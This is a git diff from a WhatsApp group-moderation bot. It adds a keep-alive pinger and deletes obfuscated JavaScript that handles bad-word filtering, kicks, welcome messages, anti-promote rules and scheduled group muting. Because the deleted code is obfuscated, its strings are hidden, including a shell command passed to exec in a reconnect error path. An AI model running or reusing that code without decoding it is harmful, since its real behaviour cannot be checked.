_0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x1584d4}),await fs[_0x37cf47(0x238)](_0x37cf47(0x1e6));else{if(_0x379304===_0x37cf47(0x1d0)){const {getWarnCountByJID:_0x12a12a,ajouterUtilisateurAvecWarnCount:_0x535156}=require(_0x37cf47(0x1c5));let _0x1ff237=await _0x12a12a(_0xcad1f8),_0x5dfe75=conf['WARN_COUNT'];if(_0x1ff237>=_0x5dfe75){var _0x38c69c=_0x37cf47(0x24a);await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':_0x38c69c,'mentions':[_0xcad1f8]},{'quoted':_0x404c88}),await _0x313b00[_0x37cf47(0x251)](_0x13a80f,[_0xcad1f8],'remove'),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x1584d4});}else{var _0x5be6c6=_0x5dfe75-_0x1ff237,_0x519e72=_0x37cf47(0x27f)+_0x5be6c6+'\x20';await _0x535156(_0xcad1f8),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':_0x519e72,'mentions':[_0xcad1f8]},{'quoted':_0x404c88}),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x1584d4});}}}}}}catch(_0x1923a6){console[_0x37cf47(0x25a)](_0x37cf47(0x1dc)+_0x1923a6);}try{const _0x55e17b=await verifierEtatJid(_0x13a80f);if(_0x8ef313[_0x37cf47(0x256)]('pussy')&&_0x5ec1d6&&_0x55e17b){console[_0x37cf47(0x25a)](_0x37cf47(0x253));var _0x369449=_0x5ec1d6?_0x4117ae['includes'](_0x1c1036):![];if(_0x4d0d1b||_0x572dc9||!_0x369449){console[_0x37cf47(0x25a)](_0x37cf47(0x19b));return;};const _0x285e7d={'remoteJid':_0x13a80f,'fromMe':![],'id':_0x404c88[_0x37cf47(0x240)]['id'],'participant':_0xcad1f8};var _0x2254b7='badword\x20detected,\x20\x0a';const _0x336cee=_0x37cf47(0x25b);var _0x15df98=new Sticker(_0x336cee,{'pack':_0x37cf47(0x1b0),'author':conf[_0x37cf47(0x291)],'type':StickerTypes[_0x37cf47(0x24d)],'categories':['🤩','🎉'],'id':'12345','quality':0x32,'background':_0x37cf47(0x1d7)});await _0x15df98['toFile'](_0x37cf47(0x1e6));var _0x379304=await recupererActionJid(_0x13a80f);if(_0x379304===_0x37cf47(0x27d)){_0x2254b7+=_0x37cf47(0x289)+_0xcad1f8['split']('@')[0x0]+_0x37cf47(0x17c),await _0x313b00['sendMessage'](_0x13a80f,{'sticker':fs[_0x37cf47(0x246)](_0x37cf47(0x1e6))}),(0x0,baileys_1[_0x37cf47(0x1ba)])(0x320),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':_0x2254b7,'mentions':[_0xcad1f8]},{'quoted':_0x404c88});try{await _0x313b00['groupParticipantsUpdate'](_0x13a80f,[_0xcad1f8],_0x37cf47(0x27d));}catch(_0x44d224){console[_0x37cf47(0x25a)](_0x37cf47(0x26a))+_0x44d224;}await _0x313b00['sendMessage'](_0x13a80f,{'delete':_0x285e7d}),await fs[_0x37cf47(0x238)](_0x37cf47(0x1e6));}else{if(_0x379304===_0x37cf47(0x211))_0x2254b7+=_0x37cf47(0x1cd)+_0xcad1f8['split']('@')[0x0]+'\x20using\x20bad\x20words\x20here\x20is\x20prohibited!.',await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':_0x2254b7,'mentions':[_0xcad1f8]},{'quoted':_0x404c88}),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x285e7d}),await fs[_0x37cf47(0x238)](_0x37cf47(0x1e6));else{if(_0x379304===_0x37cf47(0x1d0)){const {getWarnCountByJID:_0x48c0f6,ajouterUtilisateurAvecWarnCount:_0x584496}=require('./bdd/warn');let _0x39b452=await _0x48c0f6(_0xcad1f8),_0x42f358=conf['WARN_COUNT'];if(_0x39b452>=_0x42f358){var _0x38c69c='bad\x20word\x20detected\x20,\x20you\x20will\x20be\x20remove\x20because\x20of\x20reaching\x20warn-limit';await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':_0x38c69c,'mentions':[_0xcad1f8]},{'quoted':_0x404c88}),await _0x313b00['groupParticipantsUpdate'](_0x13a80f,[_0xcad1f8],'remove'),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x285e7d});}else{var _0x5be6c6=_0x42f358-_0x39b452,_0x519e72=_0x37cf47(0x27f)+_0x5be6c6+'\x20';await _0x584496(_0xcad1f8),await _0x313b00['sendMessage'](_0x13a80f,{'text':_0x519e72,'mentions':[_0xcad1f8]},{'quoted':_0x404c88}),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x285e7d});}}}}}}catch(_0x2a1b74){console[_0x37cf47(0x25a)](_0x37cf47(0x1dc)+_0x2a1b74);}try{const _0xc036e=_0x404c88['key']?.['id']?.[_0x37cf47(0x207)](_0x37cf47(0x1a5))&&_0x404c88['key']?.['id']?.[_0x37cf47(0x1e5)]===0x10,_0x130566=_0x404c88[_0x37cf47(0x240)]?.['id']?.['startsWith']('BAES')&&_0x404c88[_0x37cf47(0x240)]?.['id']?.[_0x37cf47(0x1e5)]===0x10;if(_0xc036e||_0x130566){if(_0x12647f===_0x37cf47(0x272)){console[_0x37cf47(0x25a)]('Je\x20ne\x20reagis\x20pas\x20au\x20reactions');return;};const _0x2d4649=await atbverifierEtatJid(_0x13a80f);if(!_0x2d4649)return;;if(_0x572dc9||_0xcad1f8===_0x1c1036){console[_0x37cf47(0x25a)](_0x37cf47(0x19b));return;};const _0x3186ff={'remoteJid':_0x13a80f,'fromMe':![],'id':_0x404c88[_0x37cf47(0x240)]['id'],'participant':_0xcad1f8};var _0x2254b7=_0x37cf47(0x23a);const _0x2b0dcf=_0x37cf47(0x25b);var _0x15df98=new Sticker(_0x2b0dcf,{'pack':_0x37cf47(0x1b0),'author':conf['OWNER_NAME'],'type':StickerTypes[_0x37cf47(0x24d)],'categories':['🤩','🎉'],'id':_0x37cf47(0x1f4),'quality':0x32,'background':'#000000'});await _0x15df98['toFile'](_0x37cf47(0x1e6));var _0x379304=await atbrecupererActionJid(_0x13a80f);if(_0x379304===_0x37cf47(0x27d)){_0x2254b7+=_0x37cf47(0x289)+_0xcad1f8['split']('@')[0x0]+_0x37cf47(0x17c),await _0x313b00['sendMessage'](_0x13a80f,{'sticker':fs[_0x37cf47(0x246)](_0x37cf47(0x1e6))}),(0x0,baileys_1[_0x37cf47(0x1ba)])(0x320),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':_0x2254b7,'mentions':[_0xcad1f8]},{'quoted':_0x404c88});try{await _0x313b00[_0x37cf47(0x251)](_0x13a80f,[_0xcad1f8],_0x37cf47(0x27d));}catch(_0x103e9b){console[_0x37cf47(0x25a)](_0x37cf47(0x268))+_0x103e9b;}await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x3186ff}),await fs['unlink'](_0x37cf47(0x1e6));}else{if(_0x379304===_0x37cf47(0x211))_0x2254b7+=_0x37cf47(0x1a7)+_0xcad1f8['split']('@')[0x0]+_0x37cf47(0x1e7),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':_0x2254b7,'mentions':[_0xcad1f8]},{'quoted':_0x404c88}),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x3186ff}),await fs['unlink'](_0x37cf47(0x1e6));else{if(_0x379304===_0x37cf47(0x1d0)){const {getWarnCountByJID:_0x2b6549,ajouterUtilisateurAvecWarnCount:_0x51f9f6}=require(_0x37cf47(0x1c5));let _0x4aadaa=await _0x2b6549(_0xcad1f8),_0x397233=conf[_0x37cf47(0x2a5)];if(_0x4aadaa>=_0x397233){var _0x38c69c=_0x37cf47(0x1c1);await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':_0x38c69c,'mentions':[_0xcad1f8]},{'quoted':_0x404c88}),await _0x313b00['groupParticipantsUpdate'](_0x13a80f,[_0xcad1f8],_0x37cf47(0x27d)),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x3186ff});}else{var _0x5be6c6=_0x397233-_0x4aadaa,_0x519e72=_0x37cf47(0x28a)+_0x5be6c6+'\x20';await _0x51f9f6(_0xcad1f8),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':_0x519e72,'mentions':[_0xcad1f8]},{'quoted':_0x404c88}),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x3186ff});}}}}}}catch(_0x5c3c9f){console['log']('....\x20'+_0x5c3c9f);}if(_0x5017ff){const _0xa7f102=evt['cm'][_0x37cf47(0x227)](_0x3bc6c0=>_0x3bc6c0[_0x37cf47(0x186)]===_0x250e96);if(_0xa7f102)try{if(conf[_0x37cf47(0x225)][_0x37cf47(0x228)]()!=_0x37cf47(0x259)&&!_0x4d0d1b)return;if(!_0x4d0d1b&&_0x13a80f===_0xcad1f8&&conf[_0x37cf47(0x182)]===_0x37cf47(0x259)){_0x4c6918('You\x20don\x27t\x20have\x20acces\x20to\x20commands\x20here');return;}if(!_0x4d0d1b&&_0x5ec1d6){let _0x1492d4=await isGroupBanned(_0x13a80f);if(_0x1492d4)return;}if(!_0x572dc9&&_0x5ec1d6){let _0x3c9fb7=await isGroupOnlyAdmin(_0x13a80f);if(_0x3c9fb7)return;}if(!_0x4d0d1b){let _0x19e216=await isUserBanned(_0xcad1f8);if(_0x19e216){_0x4c6918(_0x37cf47(0x1ec));return;}}reagir(_0x13a80f,_0x313b00,_0x404c88,_0xa7f102[_0x37cf47(0x1d4)]),_0xa7f102[_0x37cf47(0x1af)](_0x13a80f,_0x313b00,_0x45616b);}catch(_0x511b85){console[_0x37cf47(0x25a)]('😡😡\x20'+_0x511b85),_0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':'😡😡\x20'+_0x511b85},{'quoted':_0x404c88});}}});const {recupevents:_0x57fbc2}=require(_0x313f6f(0x185));_0x313b00['ev']['on'](_0x313f6f(0x23e),async _0x26d50e=>{const _0x45e648=_0x313f6f;console[_0x45e648(0x25a)](_0x26d50e);let _0x4bb052;try{_0x4bb052=await _0x313b00[_0x45e648(0x2a2)](_0x26d50e['id'],_0x45e648(0x2ab));}catch{_0x4bb052=_0x45e648(0x237);}try{const _0x2748da=await _0x313b00[_0x45e648(0x19e)](_0x26d50e['id']);if(_0x26d50e[_0x45e648(0x236)]=='add'&&await _0x57fbc2(_0x26d50e['id'],'welcome')=='on'){let _0x38fe8c=_0x45e648(0x27c),_0x192ed6=_0x26d50e['participants'];for(let _0x2d1870 of _0x192ed6){_0x38fe8c+='Hello\x20@'+_0x2d1870[_0x45e648(0x297)]('@')[0x0]+'\x0a';}_0x38fe8c+=_0x45e648(0x29a)+_0x2748da['desc']+_0x45e648(0x213),_0x313b00[_0x45e648(0x231)](_0x26d50e['id'],{'image':{'url':_0x4bb052},'caption':_0x38fe8c,'mentions':_0x192ed6});}else{if(_0x26d50e[_0x45e648(0x236)]==_0x45e648(0x27d)&&await _0x57fbc2(_0x26d50e['id'],'goodbye')=='on'){let _0x497b3d=_0x45e648(0x1e1),_0x10c5b7=_0x26d50e[_0x45e648(0x244)];for(let _0xbf3574 of _0x10c5b7){_0x497b3d+='@'+_0xbf3574[_0x45e648(0x297)]('@')[0x0]+'\x0a';}_0x313b00['sendMessage'](_0x26d50e['id'],{'text':_0x497b3d,'mentions':_0x10c5b7});}else{if(_0x26d50e['action']==_0x45e648(0x250)&&await _0x57fbc2(_0x26d50e['id'],'antipromote')=='on'){if(_0x26d50e[_0x45e648(0x18e)]==_0x2748da[_0x45e648(0x277)]||_0x26d50e[_0x45e648(0x18e)]==conf['NUMERO_OWNER']+_0x45e648(0x199)||_0x26d50e[_0x45e648(0x18e)]==decodeJid(_0x313b00[_0x45e648(0x25e)]['id'])||_0x26d50e[_0x45e648(0x18e)]==_0x26d50e[_0x45e648(0x244)][0x0]){console[_0x45e648(0x25a)](_0x45e648(0x242));return;};await _0x313b00[_0x45e648(0x251)](_0x26d50e['id'],[_0x26d50e['author'],_0x26d50e[_0x45e648(0x244)][0x0]],'demote'),_0x313b00['sendMessage'](_0x26d50e['id'],{'text':'@'+_0x26d50e[_0x45e648(0x18e)][_0x45e648(0x297)]('@')[0x0]+'\x20has\x20violated\x20the\x20anti-promotion\x20rule,\x20therefore\x20both\x20'+_0x26d50e[_0x45e648(0x18e)][_0x45e648(0x297)]('@')[0x0]+_0x45e648(0x1f5)+_0x26d50e['participants'][0x0]['split']('@')[0x0]+'\x20have\x20been\x20removed\x20from\x20administrative\x20rights.','mentions':[_0x26d50e[_0x45e648(0x18e)],_0x26d50e[_0x45e648(0x244)][0x0]]});}else{if(_0x26d50e[_0x45e648(0x236)]==_0x45e648(0x1f0)&&await _0x57fbc2(_0x26d50e['id'],'antidemote')=='on'){if(_0x26d50e['author']==_0x2748da['owner']||_0x26d50e['author']==conf[_0x45e648(0x28f)]+_0x45e648(0x199)||_0x26d50e['author']==decodeJid(_0x313b00[_0x45e648(0x25e)]['id'])||_0x26d50e[_0x45e648(0x18e)]==_0x26d50e[_0x45e648(0x244)][0x0]){console[_0x45e648(0x25a)](_0x45e648(0x242));return;};await _0x313b00[_0x45e648(0x251)](_0x26d50e['id'],[_0x26d50e[_0x45e648(0x18e)]],_0x45e648(0x1f0)),await _0x313b00[_0x45e648(0x251)](_0x26d50e['id'],[_0x26d50e['participants'][0x0]],_0x45e648(0x250)),_0x313b00[_0x45e648(0x231)](_0x26d50e['id'],{'text':'@'+_0x26d50e[_0x45e648(0x18e)][_0x45e648(0x297)]('@')[0x0]+_0x45e648(0x1db)+_0x26d50e[_0x45e648(0x244)][0x0][_0x45e648(0x297)]('@')[0x0]+_0x45e648(0x276),'mentions':[_0x26d50e[_0x45e648(0x18e)],_0x26d50e['participants'][0x0]]});}}}}}catch(_0x17d1ba){console[_0x45e648(0x181)](_0x17d1ba);}});async function _0x5cd0ea(){const _0x52487e=_0x313f6f,_0x63a7c6=require('node-cron'),{getCron:_0x271cdd}=require(_0x52487e(0x269));let _0x1bf37a=await _0x271cdd();console[_0x52487e(0x25a)](_0x1bf37a);if(_0x1bf37a&&_0x1bf37a[_0x52487e(0x1e5)]>0x0)for(let _0x199d6e=0x0;_0x199d6e<_0x1bf37a[_0x52487e(0x1e5)];_0x199d6e++){if(_0x1bf37a[_0x199d6e]['mute_at']!=null){let _0x53f2cb=_0x1bf37a[_0x199d6e][_0x52487e(0x1ad)][_0x52487e(0x297)](':');console[_0x52487e(0x25a)](_0x52487e(0x222)+_0x1bf37a[_0x199d6e][_0x52487e(0x28c)]+_0x52487e(0x1fb)+_0x53f2cb[0x0]+_0x52487e(0x190)+_0x53f2cb[0x1]),_0x63a7c6[_0x52487e(0x19c)](_0x53f2cb[0x1]+'\x20'+_0x53f2cb[0x0]+_0x52487e(0x214),async()=>{const _0xed28e0=_0x52487e;await _0x313b00[_0xed28e0(0x27e)](_0x1bf37a[_0x199d6e][_0xed28e0(0x28c)],_0xed28e0(0x29f)),_0x313b00['sendMessage'](_0x1bf37a[_0x199d6e]['group_id'],{'image':{'url':_0xed28e0(0x212)},'caption':_0xed28e0(0x1ac)});},{'timezone':_0x52487e(0x279)});}if(_0x1bf37a[_0x199d6e][_0x52487e(0x286)]!=null){let _0xfd1037=_0x1bf37a[_0x199d6e]['unmute_at'][_0x52487e(0x297)](':');console[_0x52487e(0x25a)](_0x52487e(0x2af)+_0xfd1037[0x0]+_0x52487e(0x190)+_0xfd1037[0x1]+'\x20'),_0x63a7c6[_0x52487e(0x19c)](_0xfd1037[0x1]+'\x20'+_0xfd1037[0x0]+'\x20*\x20*\x20*',async()=>{const _0x5a9cf1=_0x52487e;await _0x313b00[_0x5a9cf1(0x27e)](_0x1bf37a[_0x199d6e]['group_id'],'not_announcement'),_0x313b00[_0x5a9cf1(0x231)](_0x1bf37a[_0x199d6e][_0x5a9cf1(0x28c)],{'image':{'url':_0x5a9cf1(0x212)},'caption':_0x5a9cf1(0x1dd)});},{'timezone':_0x52487e(0x279)});}}else console[_0x52487e(0x25a)]('Les\x20crons\x20n\x27ont\x20pas\x20été\x20activés');return;}return _0x313b00['ev']['on'](_0x313f6f(0x1ca),async _0x776cac=>{const _0x127601=_0x5e5299=>{const _0x15c414=_0xd289;for(const _0x20ff20 of _0x5e5299){store[_0x15c414(0x25c)][_0x20ff20['id']]?Object['assign'](store[_0x15c414(0x25c)][_0x20ff20['id']],_0x20ff20):store[_0x15c414(0x25c)][_0x20ff20['id']]=_0x20ff20;}return;};_0x127601(_0x776cac);}),_0x313b00['ev']['on'](_0x313f6f(0x1fc),async _0x3981a8=>{const _0x2a4030=_0x313f6f,{lastDisconnect:_0x420a9b,connection:_0x5698fe}=_0x3981a8;if(_0x5698fe===_0x2a4030(0x221))console['log'](_0x2a4030(0x285));else{if(_0x5698fe===_0x2a4030(0x1d5)){console[_0x2a4030(0x25a)](_0x2a4030(0x254)),console[_0x2a4030(0x25a)]('--'),await(0x0,baileys_1[_0x2a4030(0x1ba)])(0xc8),console[_0x2a4030(0x25a)](_0x2a4030(0x295)),await(0x0,baileys_1[_0x2a4030(0x1ba)])(0x12c),console[_0x2a4030(0x25a)](_0x2a4030(0x1f6)),console[_0x2a4030(0x25a)](_0x2a4030(0x1c9)),console[_0x2a4030(0x25a)](_0x2a4030(0x245)),fs[_0x2a4030(0x2a0)](__dirname+_0x2a4030(0x287))['forEach'](_0xf70ee6=>{const _0x1cf9e6=_0x2a4030;if(path[_0x1cf9e6(0x1cf)](_0xf70ee6)[_0x1cf9e6(0x180)]()==_0x1cf9e6(0x1c8)){try{require(__dirname+_0x1cf9e6(0x1a9)+_0xf70ee6),console['log'](_0xf70ee6+'\x20installé\x20✔️');}catch(_0x5990ed){console[_0x1cf9e6(0x25a)](_0xf70ee6+_0x1cf9e6(0x28d)+_0x5990ed);}(0x0,baileys_1[_0x1cf9e6(0x1ba)])(0x12c);}}),(0x0,baileys_1[_0x2a4030(0x1ba)])(0x2bc);var _0xabd78e;if(conf[_0x2a4030(0x225)][_0x2a4030(0x228)]()===_0x2a4030(0x259))_0xabd78e=_0x2a4030(0x296);else conf[_0x2a4030(0x225)][_0x2a4030(0x228)]()==='no'?_0xabd78e=_0x2a4030(0x2aa):_0xabd78e=_0x2a4030(0x20d);console[_0x2a4030(0x25a)]('Commands\x20successfully\x20Loaded\x20✅');if(conf['DP'][_0x2a4030(0x180)]()===_0x2a4030(0x259)){let _0xde8154=_0x2a4030(0x248)+prefixe+_0x2a4030(0x220)+_0xabd78e+_0x2a4030(0x2ad)+evt['cm'][_0x2a4030(0x1e5)]+'\x0a❒\x20CREATED:\x20*22.2.2024*︎\x0a\x0a___________________________________\x0a\x20\x20\x20\x0a\x20\x0a╔═════◇\x0a║◇\x20*KEEP\x20USING\x20FLASH-MD*\x0a╚════════════════>\x0a___________________________________\x0a\x0a*THE\x20\x20FLASH\x20\x20MULTI\x20\x20DEVICE*';await _0x313b00[_0x2a4030(0x231)](_0x2a4030(0x2a1),{'text':_0xde8154});}}else{if(_0x5698fe==_0x2a4030(0x23d)){let _0x10664c=new boom_1[(_0x2a4030(0x191))](_0x420a9b?.['error'])?.[_0x2a4030(0x19d)]['statusCode'];if(_0x10664c===baileys_1[_0x2a4030(0x22f)][_0x2a4030(0x1b3)])console[_0x2a4030(0x25a)](_0x2a4030(0x26f));else{if(_0x10664c===baileys_1['DisconnectReason'][_0x2a4030(0x1ee)])console[_0x2a4030(0x25a)](_0x2a4030(0x209)),_0x13988c();else{if(_0x10664c===baileys_1['DisconnectReason'][_0x2a4030(0x1c7)])console[_0x2a4030(0x25a)](_0x2a4030(0x275)),_0x13988c();else{if(_0x10664c===baileys_1[_0x2a4030(0x22f)]?.['connectionReplaced'])console[_0x2a4030(0x25a)]('connection\x20replaced,,,\x20a\x20session\x20is\x20already\x20open,\x20please\x20close\x20it!!!');else{if(_0x10664c===baileys_1['DisconnectReason'][_0x2a4030(0x288)])console[_0x2a4030(0x25a)](_0x2a4030(0x232));else{if(_0x10664c===baileys_1[_0x2a4030(0x22f)][_0x2a4030(0x264)])console[_0x2a4030(0x25a)](_0x2a4030(0x239)),_0x13988c();else{console[_0x2a4030(0x25a)]('Reboot\x20Error\x20😑',_0x10664c);const {exec:_0x1b7f8f}=require('child_process');_0x1b7f8f(_0x2a4030(0x192));}}}}}}console[_0x2a4030(0x25a)]('hum\x20'+_0x5698fe),_0x13988c();}}}}),_0x313b00['ev']['on'](_0x313f6f(0x184),_0xeff6e0),_0x313b00[_0x313f6f(0x2b0)]=async(_0x98ed78,_0x303d72='',_0x5a6d12=!![])=>{const _0x591292=_0x313f6f;let _0x1c703c=_0x98ed78[_0x591292(0x18c)]?_0x98ed78[_0x591292(0x18c)]:_0x98ed78,_0x4b9143=(_0x98ed78[_0x591292(0x18c)]||_0x98ed78)[_0x591292(0x223)]||'',_0x83e4a6=_0x98ed78['mtype']?_0x98ed78[_0x591292(0x1ae)][_0x591292(0x1bf)](/Message/gi,''):_0x4b9143[_0x591292(0x297)]('/')[0x0];const _0x1f695d=await(0x0,baileys_1['downloadContentFromMessage'])(_0x1c703c,_0x83e4a6);let _0x548e11=Buffer[_0x591292(0x218)]([]);for await(const _0x32153f of _0x1f695d){_0x548e11=Buffer[_0x591292(0x2ae)]([_0x548e11,_0x32153f]);}let _0x10782d=await FileType[_0x591292(0x282)](_0x548e11),_0xbd0b21='./'+_0x303d72+'.'+_0x10782d['ext'];return await fs[_0x591292(0x20c)](_0xbd0b21,_0x548e11),_0xbd0b21;},_0x313b00[_0x313f6f(0x265)]=async(_0x2097da={})=>{return new Promise((_0x5b0ad7,_0x539467)=>{const _0x2f8a49=_0xd289;if(typeof _0x2097da!=='object')_0x539467(new Error(_0x2f8a49(0x1d3)));if(typeof _0x2097da[_0x2f8a49(0x1b1)]!==_0x2f8a49(0x194))_0x539467(new Error(_0x2f8a49(0x19f)));if(typeof _0x2097da['chatJid']!==_0x2f8a49(0x194))_0x539467(new Error(_0x2f8a49(0x24e)));if(_0x2097da[_0x2f8a49(0x22c)]&&typeof _0x2097da[_0x2f8a49(0x22c)]!==_0x2f8a49(0x262))_0x539467(new Error(_0x2f8a49(0x17d)));if(_0x2097da['filter']&&typeof _0x2097da[_0x2f8a49(0x217)]!==_0x2f8a49(0x216))_0x539467(new Error(_0x2f8a49(0x1bb)));const _0x3cbc28=_0x2097da?.[_0x2f8a49(0x22c)]||undefined,_0x45cb71=_0x2097da?.[_0x2f8a49(0x217)]||(()=>!![]);let _0x198452=undefined,_0x5d3fcb=_0x5552f5=>{const _0x18fc3b=_0x2f8a49;let {type:_0x2c1d8a,messages:_0x188f1e}=_0x5552f5;if(_0x2c1d8a==_0x18fc3b(0x18d))for(let _0x596616 of _0x188f1e){const _0x568f56=_0x596616['key'][_0x18fc3b(0x1a3)],_0xfb234a=_0x596616['key'][_0x18fc3b(0x29b)],_0x20ea32=_0xfb234a[_0x18fc3b(0x1ef)](_0x18fc3b(0x23f)),_0xcecad2=_0xfb234a==_0x18fc3b(0x1bc),_0x4e39a4=_0x568f56?_0x313b00[_0x18fc3b(0x25e)]['id']['replace'](/:.*@/g,'@'):_0x20ea32||_0xcecad2?_0x596616[_0x18fc3b(0x240)][_0x18fc3b(0x21d)][_0x18fc3b(0x1bf)](/:.*@/g,'@'):_0xfb234a;_0x4e39a4==_0x2097da[_0x18fc3b(0x1b1)]&&_0xfb234a==_0x2097da[_0x18fc3b(0x280)]&&_0x45cb71(_0x596616)&&(_0x313b00['ev']['off'](_0x18fc3b(0x252),_0x5d3fcb),clearTimeout(_0x198452),_0x5b0ad7(_0x596616));}};_0x313b00['ev']['on'](_0x2f8a49(0x252),_0x5d3fcb),_0x3cbc28&&(_0x198452=setTimeout(()=>{const _0x34570d=_0x2f8a49;_0x313b00['ev']['off'](_0x34570d(0x252),_0x5d3fcb),_0x539467(new Error(_0x34570d(0x1e9)));},_0x3cbc28));});},_0x313b00;}let _0x18a530=require[_0x4f4664(0x17b)](__filename);fs[_0x4f4664(0x1cc)](_0x18a530,()=>{const _0x29bbfd=_0x4f4664;fs[_0x29bbfd(0x2a6)](_0x18a530),console[_0x29bbfd(0x25a)]('mise\x20à\x20jour\x20'+__filename),delete require[_0x29bbfd(0x235)][_0x18a530],require(_0x18a530);}),_0x13988c();},0x1388); +require('dotenv').config(); +const axios = require('axios'); + +function keepAlive() { + const url = process.env.ALIVE_URL; + + if (!url) { + console.error('ALIVE_URL not set in environment variables.'); + return; + } + + setInterval(() => { + axios.get(url) + .then(() => console.log(`Pinged ${url}`)) + .catch(err => console.error('Keep-alive failed:', err.message)); + }, 1000 * 60 * 14); +} + +keepAlive(); diff --git a/framework/app.js b/framework/app.js deleted file mode 100644 index 31b14e59..00000000 --- a/framework/app.js +++ /dev/null @@ -1,13 +0,0 @@ - - -'use strict'; - - - - - - - - - -function _0x56fd(){var _0x29143a=['key','84QqQDgx','824447gZWaqO','5270907jrbYHL','2110842pTxuEx','sendMessage','60LrJyEx','4704800TiQblD','__esModule','reagir','30WHrqzf','53226cHQtiG','11dblClD','4pnyVrh','215200vujzlO','74036508NUoPlz'];_0x56fd=function(){return _0x29143a;};return _0x56fd();}function _0xcaa3(_0x73ca9f,_0x2ec7b2){var _0x56fdda=_0x56fd();return _0xcaa3=function(_0xcaa396,_0x2e08e8){_0xcaa396=_0xcaa396-0x126;var _0x56fc2a=_0x56fdda[_0xcaa396];return _0x56fc2a;},_0xcaa3(_0x73ca9f,_0x2ec7b2);}var _0x197caf=_0xcaa3;(function(_0x3ec0f7,_0x1696d2){var _0x405a66=_0xcaa3,_0x53ff49=_0x3ec0f7();while(!![]){try{var _0x47daa9=parseInt(_0x405a66(0x133))/0x1*(-parseInt(_0x405a66(0x12e))/0x2)+-parseInt(_0x405a66(0x134))/0x3+parseInt(_0x405a66(0x12f))/0x4*(-parseInt(_0x405a66(0x127))/0x5)+parseInt(_0x405a66(0x12c))/0x6*(parseInt(_0x405a66(0x132))/0x7)+-parseInt(_0x405a66(0x128))/0x8+parseInt(_0x405a66(0x135))/0x9*(-parseInt(_0x405a66(0x12b))/0xa)+-parseInt(_0x405a66(0x12d))/0xb*(-parseInt(_0x405a66(0x130))/0xc);if(_0x47daa9===_0x1696d2)break;else _0x53ff49['push'](_0x53ff49['shift']());}catch(_0x2af3d6){_0x53ff49['push'](_0x53ff49['shift']());}}}(_0x56fd,0xe3c78));Object['defineProperty'](exports,_0x197caf(0x129),{'value':!![]}),exports['reagir']=void 0x0;async function reagir(_0xa780dd,_0x315b13,_0x16e734,_0x23d190){var _0x116d97=_0x197caf;await _0x315b13[_0x116d97(0x126)](_0xa780dd,{'react':{'text':_0x23d190,'key':_0x16e734[_0x116d97(0x131)]}});}exports[_0x197caf(0x12a)]=reagir; \ No newline at end of file diff --git a/framework/dl/Function.js b/framework/dl/Function.js deleted file mode 100644 index 706ddd45..00000000 --- a/framework/dl/Function.js +++ /dev/null @@ -1,166 +0,0 @@ -var __importDefault = (this && this.__importDefault) || function (mod) { - return (mod && mod.__esModule) ? mod : { "default": mod } -} -Object.defineProperty(exports, "__esModule", { value: true }) - -const axios = require("axios") -const cheerio = require("cheerio") -const { resolve } = require("path") -const Jimp = require('jimp') -const util = require("util") -let BodyForm = require('form-data') -let { fromBuffer } = require('file-type') -//let fetch = require('node-fetch') -let fs = require('fs') - - - -exports.sleep = async (ms) => { - return new Promise(resolve => setTimeout(resolve, ms)); -} - -exports.fetchBuffer = async (url, options) => { - try { - options ? options : {} - const res = await axios({ - method: "GET", - url, - headers: { - "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36", - 'DNT': 1, - 'Upgrade-Insecure-Request': 1 - }, - ...options, - responseType: 'arraybuffer' - }) - return res.data - } catch (err) { - return err - } -} -exports.webp2mp4File=async(path) =>{ - return new Promise((resolve, reject) => { - const form = new BodyForm() - form.append('new-image-url', '') - form.append('new-image', fs.createReadStream(path)) - axios({ - method: 'post', - url: 'https://s6.ezgif.com/webp-to-mp4', - data: form, - headers: { - 'Content-Type': `multipart/form-data; boundary=${form._boundary}` - } - }).then(({ data }) => { - const bodyFormThen = new BodyForm() - const $ = cheerio.load(data) - const file = $('input[name="file"]').attr('value') - bodyFormThen.append('file', file) - bodyFormThen.append('convert', "Convert WebP to MP4!") - axios({ - method: 'post', - url: 'https://ezgif.com/webp-to-mp4/' + file, - data: bodyFormThen, - headers: { - 'Content-Type': `multipart/form-data; boundary=${bodyFormThen._boundary}` - } - }).then(({ data }) => { - const $ = cheerio.load(data) - const result = 'https:' + $('div#output > p.outfile > video > source').attr('src') - resolve({ - status: true, - message: "Created By MRHRTZ", - result: result - }) - }).catch(reject) - }).catch(reject) - }) -} - - - - -exports.mediafireDl = async (url, options) => { - try { - options = options ? options : {}; - const res = await axios.get(url, options); - const $ = cheerio.load(res.data); - const hasil = []; - const link = $('a#downloadButton').attr('href'); - const size = $('a#downloadButton').text().replace('Download', '').replace('(', '').replace(')', '').replace('\n', '').replace('\n', '').replace(' ', ''); - const seplit = link.split('/'); - const nama = seplit[5]; - mime = nama.split('.'); - mime = mime[1]; - hasil.push({ nama, mime, size, link }); - return hasil; - } catch (err) { - return err; - } -}; - -exports.getBuffer = async (url, options) => { - try { - options ? options : {} - const res = await axios({ - method: "get", - url, - headers: { - 'DNT': 1, - 'Upgrade-Insecure-Request': 1 - }, - ...options, - responseType: 'arraybuffer' - }) - return res.data - } catch (err) { - return err - } -} - - -exports.fetchUrl = async (url, options) => { - try { - options ? options : {} - const res = await axios({ - method: 'GET', - url: url, - headers: { - 'User-Agent': 